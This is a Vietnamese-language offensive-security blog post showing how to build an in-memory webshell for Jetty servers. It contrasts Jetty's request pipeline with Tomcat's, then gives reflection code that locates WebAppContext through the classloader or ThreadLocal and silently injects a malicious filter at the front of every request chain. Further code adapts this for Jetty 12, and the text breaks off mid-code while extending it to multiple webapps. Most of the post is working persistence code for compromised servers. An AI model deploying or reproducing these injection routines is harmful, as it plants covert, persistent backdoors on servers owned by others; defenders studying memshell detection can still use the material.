Dạo gần đây mình có gặp một số dự án sử dụng Jetty làm Web Server, hầu như các dự án trước toàn dùng tool public để gen memshell nhưng vẫn cần hiểu thêm về cách hoạt động để sau này có thể custom tùy ý cho các mục đích khác như set up tunnel, tool,... Bài này mình sẽ đi từ đầu tại sao Jetty lại khác Tomcat, cách tìm ra WebAppContext trong bộ nhớ, rồi sau đó inject Memshell.
1. Jetty và Tomcat
Để viết Memshell Jetty, chúng ta nên có cái nhìn đối chiếu với Tomcat – Web Server phổ biến nhất trong giới Java.
Request Pipeline

Tomcat: Request đi qua Connector → CoyoteAdapter chuyển đổi sang Catalina request → chạy qua Pipeline/Valve theo thứ tự Engine → Host → Context → Wrapper → vào FilterChain → Servlet.
Jetty: Request tiếp nhận qua Connector → được parse và quản lý lifecycle tại HttpChannel → đẩy lên Server.handle() → đi qua Handler Tree: ContextHandlerCollection điều hướng đến đúng WebAppContext (ContextHandler + classloader isolation) → vào ServletHandler → FilterChain → Servlet.
Do kiến trúc khác nhau, Memshell injection cũng khác nhau:
- Tomcat có thể cắm Valve Memshell ở nhiều tầng (Host, Context), hoạt động ngoài Servlet spec. Điều này có nghĩa là kẻ tấn công có nhiều "điểm cắm" hơn dọc theo pipeline.
- Jetty: Handler Memshell, Listener Memshell (inject EventListener qua addEventListener hoặc _eventListeners), Filter Memshell (inject vào _filterMappings của ServletHandler), và Servlet Memshell (inject vào _servletMappings),…
2. Filter
Trong Jetty, mỗi web application được quản lý bởi một WebAppContext — đây là trung tâm chứa toàn bộ state của ứng dụng. Bên trong WebAppContext có một component quan trọng là ServletHandler, chịu trách nhiệm duy trì danh sách các Filter và Servlet đã đăng ký, đồng thời build FilterChain để xử lý từng request đến.
Khi một request đến, ServletHandler không build FilterChain lại từ đầu mỗi lần mà cache lại theo URL pattern. Chỉ khi cache bị invalidate (hoặc khi Filter mới được thêm vào), nó mới đọc lại danh sách _filterMappings và build chain mới.
Để inject Filter Memshell thành công cần phải lấy được:
- WebAppContext — container chính của ứng dụng, từ đây mới lấy được ServletHandler.
- ServletHandler — nơi lưu _filters[] và _filterMappings[]. Đây là đích đến cuối cùng để nhét filter độc hại vào.
Với addFilterWithMapping() Jetty tự động tạo FilterMapping và append vào cuối _filterMappings
FilterHolder filterHolder = new FilterHolder(new MyFilter());
filterHolder.setName("MyFilter");
servletHandler.addFilterWithMapping(filterHolder, "/*", EnumSet.of(DispatcherType.REQUEST));
Lấy ServletHandler
Để lấy được ServletHandler có thể sử dụng tool Java Object Searcher để dump toàn bộ object graph đang tồn tại trong JVM và tìm ra đường đi tới ServletHandler.
Kết quả dump cho thấy có hai vector để tìm ra WebAppContext:
Vector 1: Qua WebAppClassLoader
TargetObject = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [17] = {java.lang.Thread}
---> contextClassLoader = {org.eclipse.jetty.webapp.WebAppClassLoader}
---> _context = {org.eclipse.jetty.webapp.WebAppContext}
---> _servletHandler = {org.eclipse.jetty.servlet.ServletHandler}

Khi Jetty chạy một file WAR, nó tạo ra một WebAppClassLoader riêng để cô lập thư viện của từng ứng dụng. ClassLoader này giữ trực tiếp một tham chiếu tới WebAppContext của ứng dụng đó thông qua trường _context.
ClassLoader loader = thread.getContextClassLoader();
if (loader != null && loader.toString().contains("WebAppClassLoader")) {
try {
return getFieldValue(loader, "_context");
} catch (Exception e) {
// fallback
}
}Giới hạn: Vector này chỉ hoạt động khi Jetty chạy theo mô hình WAR có WebAppContext. Nếu là Embedded Jetty dùng addServlet với ServletContextHandler (không deploy WAR), sẽ không có WebAppClassLoader và vector này sẽ fail.
Vector 2: Qua ThreadLocal → HttpConnection
TargetObject = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [16] = {java.lang.Thread}
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [7] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {org.eclipse.jetty.server.HttpConnection}
---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp}
---> _request = {org.eclipse.jetty.server.Request}Khi Jetty xử lý một HTTP request, nó lưu đối tượng HttpConnection vào ThreadLocal của luồng đang xử lý. Từ HttpConnection có thể đi theo chuỗi: _channel → _request → _context → this$0 để lấy ra WebAppContext.
Lưu ý quan trọng: _context ở đây là WebAppContext$Context — một inner class của WebAppContext. Inner class luôn giữ tham chiếu ngược lại outer class thông qua trường synthetic tên là this$0. Do đó phải lấy this$0 thay vì dùng trực tiếp _context.


_context là WebAppContext$Context (inner class) → cần this$0

Object threadLocals = getFieldValue(thread, "threadLocals");
if (threadLocals == null) continue;
Object[] table = (Object[]) getFieldValue(threadLocals, "table");
if (table == null) continue;
for (Object entry : table) {
if (entry == null) continue;
Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) {
Object channel = getFieldValue(value, "_channel");
Object request = getFieldValue(channel, "_request");
Object context = getFieldValue(request, "_context");
return getFieldValue(context, "this$0");
}
}Ưu điểm của vector này: Hoạt động trên nhiều cấu hình Jetty phổ biến — WAR hay Embedded, WebAppContext hay ServletContextHandler. Nó đi theo luồng dữ liệu HTTP thực tế nên chỉ cần server đang xử lý request là sẽ tìm được.
Kết hợp cả hai vector
Trên thực tế, một payload mạnh sẽ thử vector 1 trước (nhanh hơn), rồi fallback xuống vector 2 nếu thất bại:
public static Object getWebAppContextViaThreadLocal() throws Exception {
Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
// WebAppClassLoader → _context = WebAppContext trực tiếp
ClassLoader loader = thread.getContextClassLoader();
if (loader != null && loader.toString().contains("WebAppClassLoader")) {
try {
return getFieldValue(loader, "_context");
} catch (Exception ignored) {
}
}
Object threadLocals = getFieldValue(thread, "threadLocals");
if (threadLocals == null) continue;
Object[] table = (Object[]) getFieldValue(threadLocals, "table");
if (table == null) continue;
for (Object entry : table) {
Object value = getFieldValue(entry, "value");
if (value == null) continue;
String className = value.getClass().getName();
if (className.equals("org.eclipse.jetty.server.HttpConnection")) {
try {
Object channel = getFieldValue(value, "_channel");
Object request = getFieldValue(channel, "_request");
Object context = getFieldValue(request, "_context"); // WebAppContext$Context
return getFieldValue(context, "this$0"); // WebAppContext
} catch (Exception ignored) {
}
}
}
}
return null;
}
Inject Filter
Sau khi có WebAppContext, bước tiếp theo là lấy ServletHandler và inject filter vào. Thay vì gọi hàm API addFilterWithMapping của Jetty, ta dùng Reflection để chèn thẳng vào mảng dữ liệu trong bộ nhớ.
static {
try {
Object webAppContext = getWebAppContextViaThreadLocal();
if (webAppContext != null) {
Object servletHandler = getFieldValue(webAppContext, "_servletHandler");
if (servletHandler != null) {
// Kiểm tra filter đã tồn tại chưa — source of truth
Object existingFilter = invokeMethod(servletHandler, "getFilter",
new Class[]{String.class}, new Object[]{FILTER_NAME});
if (existingFilter == null) {
ClassLoader webAppLoader = webAppContext.getClass().getClassLoader();
Class holderClazz = webAppLoader.loadClass("org.eclipse.jetty.servlet.FilterHolder");
Class mappingClazz = webAppLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
// Load FilterMem vào đúng WebAppClassLoader bằng defineClass
// Tránh ClassCastException khi cast sang Filter interface
Class filterMemClass;
// Chưa có → defineClass vào WebAppClassLoader
String className = FilterMem.class.getName();
String classPath = className.replace('.', '/') + ".class";
InputStream is = FilterMem.class.getClassLoader()
.getResourceAsStream(classPath);
byte[] classBytes = is.readAllBytes();
is.close();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
filterMemClass = (Class) defineClass.invoke(
webAppLoader, className, classBytes, 0, classBytes.length);
// Tạo instance từ WebAppClassLoader — Filter interface match
Filter filterInstance = (Filter) filterMemClass.getDeclaredConstructor().newInstance();
// Tạo FilterHolder
Object filterHolder = holderClazz.getConstructor(Filter.class)
.newInstance(filterInstance);
invokeMethod(filterHolder, "setName",
new Class[]{String.class}, new Object[]{FILTER_NAME});
// Tạo FilterMapping
Object filterMapping = mappingClazz.getDeclaredConstructor().newInstance();
invokeMethod(filterMapping, "setFilterName",
new Class[]{String.class}, new Object[]{FILTER_NAME});
invokeMethod(filterMapping, "setPathSpecs",
new Class[]{String[].class}, new Object[]{new String[]{"/*"}});
invokeMethod(filterMapping, "setDispatches",
new Class[]{int.class}, new Object[]{1});
// Bước 1: addFilter() → Filter.init() được gọi + cập nhật _filterNameMap
Method addFilterMethod = servletHandler.getClass()
.getDeclaredMethod("addFilter", holderClazz);
addFilterMethod.setAccessible(true);
addFilterMethod.invoke(servletHandler, filterHolder);
// Bước 2: Lấy mảng mapping cũ
Object[] oldMappings = (Object[]) getFieldValue(servletHandler, "_filterMappings");
// Bước 3: Build mảng mới, mapping ở index [0]
Object[] newMappings;
if (oldMappings != null && oldMappings.length > 0) {
newMappings = (Object[]) Array.newInstance(mappingClazz, oldMappings.length + 1);
newMappings[0] = filterMapping;
System.arraycopy(oldMappings, 0, newMappings, 1, oldMappings.length);
} else {
newMappings = (Object[]) Array.newInstance(mappingClazz, 1);
newMappings[0] = filterMapping;
}
// Bước 4: Set mapping qua setter, fallback sang field
try {
Method setMappingsMethod = servletHandler.getClass()
.getDeclaredMethod("setFilterMappings", newMappings.getClass());
setMappingsMethod.setAccessible(true);
setMappingsMethod.invoke(servletHandler, (Object) newMappings);
} catch (NoSuchMethodException e) {
setFieldValue(servletHandler, "_filterMappings", newMappings);
}
// Bước 5: Invalidate chain cache
try {
invokeMethod(servletHandler, "invalidateChainsCache",
new Class[]{}, new Object[]{});
} catch (Exception e) {
try {
setFieldValue(servletHandler, "_filterChains", null);
} catch (Exception ignored) {}
}
}
}
}
} catch (Exception e) {
// ignore
}
}
Bước invalidateChainsCache() là do ServletHandler cache lại FilterChain theo URL pattern để tăng hiệu năng. Nếu chỉ thay mảng mà không invalidate cache, Jetty sẽ tiếp tục dùng chain cũ và filter của ta sẽ không được gọi.
Inject memshell

Trigger thành công.

Problem
1. Jetty Version
Ở phần trước, đoạn PoC chỉ phù hợp với Jetty 7, 8, 9 do internal structure của Jetty 9 và Jetty 10, 11, 12 đã thay đổi.
Để tạo mem phù hợp với version khác thì check xem nó thay đổi như thế nào
| Phiên bản Jetty | Servlet API (Package Filter/Mapping) | Jetty Servlet Package (FilterHolder / ServletHolder) |
|---|---|---|
| Jetty 6 | javax.servlet | org.mortbay.jetty.servlet |
| Jetty 7, 8, 9 | javax.servlet | org.eclipse.jetty.servlet |
| Jetty 10 | javax.servlet (Jakarta EE 8) | org.eclipse.jetty.servlet |
| Jetty 11 | jakarta.servlet (Jakarta EE 9+) | org.eclipse.jetty.servlet |
| Jetty 12 (EE8 Environment) | javax.servlet | org.eclipse.jetty.ee8.servlet |
| Jetty 12 (EE10 Environment) | jakarta.servlet | org.eclipse.jetty.ee10.servlet |
Phần mem trên Jetty 6 chắc để mn tự nghiên cứu thêm. Cách tìm chain với addFilter thì cũng giống như trên.
Jetty 12
Jetty 12 có một số thay đổi đáng chú ý ảnh hưởng trực tiếp tới quá trình lấy WebAppContext và request object từ ThreadLocal.
- Package đổi org.eclipse.jetty.server.HttpConnection -> org.eclipse.jetty.server.internal.HttpConnection do đó chain lấy WebAppContext từ current request cũng thay đổi theo.
- Jetty 12 bổ sung thêm object ServletScopedContext — đây là object mới cho phép truy cập tới ServletContext hoặc ContextHandler theo một chain ngắn hơn so với cách traversal truyền thống qua HttpConnection.
Package của FilterHolder và FilterMapping cũng đã thay đổi. Các class trước đây thuộc namespace org.eclipse.jetty.servlet.* đã được refactor lại theo cấu trúc module mới của Jetty EE10..
// Jetty 12 EE10 classes
Class holderClazz = webAppLoader.loadClass("org.eclipse.jetty.ee10.servlet.FilterHolder");
Class mappingClazz = webAppLoader.loadClass("org.eclipse.jetty.ee10.servlet.FilterMapping");Jetty 12 cũng thay đổi cơ chế rebuild filter chain từ invalidateChainsCache() sang updateMappings(), khiến nhiều payload dynamic filter injection cũ không còn hoạt động nếu không cập nhật lại mapping lifecycle phù hợp.
for (String m: new String[] {
"invalidateChainsCache", "updateMappings"
}) {
try {
invokeMethod(servletHandler, m, new Class[] {}, new Object[] {});
break;
} catch (Exception ignored) {}
}
Do đó có thay đổi lại cách gọi Filter Chain
Path 1 — Từ HttpConnection
HttpConnection
→ _connector (ServerConnector)
→ _server (Server)
→ _handler (WebAppContext)
→ _servletHandler
Path 2 — Qua _httpChannel → _stream → _context
HttpConnection
→ _httpChannel (HttpChannelState)
→ _stream (SessionStreamWrapper)
→ _context (ServletScopedContext)
→ this$0 (WebAppContext)
→ _servletHandler
Path 3 — Từ ServletScopedContext trực tiếp (object mới):
ServletScopedContext
→ this$0 (WebAppContext)
→ _servletHandlerTừ đó getWebAppContextViaThreadLocal cho cả 2 version.
public static Object getWebAppContextViaThreadLocal() throws Exception {
for (Thread thread : Thread.getAllStackTraces().keySet()) {
if (thread == null)
continue;
// WebAppClassLoader → _context = WebAppContext trực tiếp
// Hoạt động cả Jetty 9 và Jetty 12
ClassLoader loader = thread.getContextClassLoader();
if (loader != null && loader.toString().contains("WebAppClassLoader")) {
try {
return getFieldValue(loader, "_context");
} catch (Exception ignored) {
}
}
// Duyệt ThreadLocal
try {
Object threadLocals = getFieldValue(thread, "threadLocals");
if (threadLocals == null)
continue;
Object[] table = (Object[]) getFieldValue(threadLocals, "table");
if (table == null)
continue;
for (Object entry : table) {
if (entry == null)
continue;
Object value = getFieldValue(entry, "value");
if (value == null)
continue;
String className = value.getClass().getName();
// HttpConnection → _httpChannel → _stream → _context → this$0
if (className.contains("HttpConnection")) {
try {
Object httpChannel = getFieldValue(value, "_httpChannel");
Object stream = getFieldValue(httpChannel, "_stream");
Object context = getFieldValue(stream, "_context");
return getFieldValue(context, "this$0");
} catch (Exception ignored) {
}
}
// ServletScopedContext → this$0 = WebAppContext (Jetty 12)
if (className.contains("ServletScopedContext")) {
try {
return getFieldValue(value, "this$0");
} catch (Exception ignored) {
}
}
}
} catch (Exception ignored) {
}
}
return null;
}
2. Hệ thống sử dụng 2 webapp
Ở đoạn code trên getWebAppContextViaThreadLocal() hiện tại trả về WebAppContext đầu tiên tìm được rồi dừng lại ngay. Điều này dẫn đến khi server deploy nhiều webapp đồng thời, chỉ có webapp được tìm thấy trước mới bị inject filter — các webapp còn lại hoàn toàn không bị ảnh hưởng.
static {
try {
List
